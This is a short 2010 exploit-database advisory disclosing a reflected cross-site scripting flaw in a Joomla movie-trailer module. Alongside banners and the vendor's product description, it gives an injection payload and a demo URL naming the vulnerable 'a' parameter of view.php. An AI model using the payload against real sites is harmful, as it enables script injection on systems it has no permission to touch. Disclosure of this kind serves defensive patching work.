Joomla JC - Top 25 Movie Trailers Cross Site Scripting

` ===========================================================  
JC - Top 25 Movie Trailers module XSS Vulnerability  
===========================================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm Sid3^effects member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Name : JC - Top 25 Movie Trailers module XSS Vulnerability  
Date : june, 18 2010  
Vendor url :http://joomclan.com/jcmodules2/  
Critical Level : MEDIUM   
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,gunslinger_  
greetz to :All ICW members and my friends :) luv y0 guyz   
#######################################################################################################  
DESCRIPTION:  
JC - Top 25 Movie Trailers module displays the top 25 movie trailers from yahoo.com right on your site. User can watch the movie trailers with out using your websites bandwidth. User can click on "Review" link to read the review for that particular movie in the Joomla out-of-box Modal window. In modal window, user you will see the movie review and IMDB link of the movie. You can configure row color, alternative row color, # of latest movie trailers, and if you would like to show IMDB link for the movie or not.  
  
Changelist:  
  
V.2.0  
  
* Added Modal Window for review  
* Added IMDB links for the movies in review window  
* Increase the size of the video player. Users can watch movie in HD now.  
* Added module parameter to configure row color, alternative row color, # of latest movie trailers, and if you would like to show IMDB link for the movie or not.  
  
V.1.0  
  
* This was the first release of the JC - Latest Movie Trailers Module  
  
#######################################################################################################  
  
Xploit: XSS Vulnerability   
  
Attack Pattern: ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>  
  
DEMO URL :http://joomclan.com/jcmodules2/modules/mod_latestmovietrailers/view.php?a=[XSS]  
###############################################################################################################  
# 0day no more   
# Sid3^effects   
`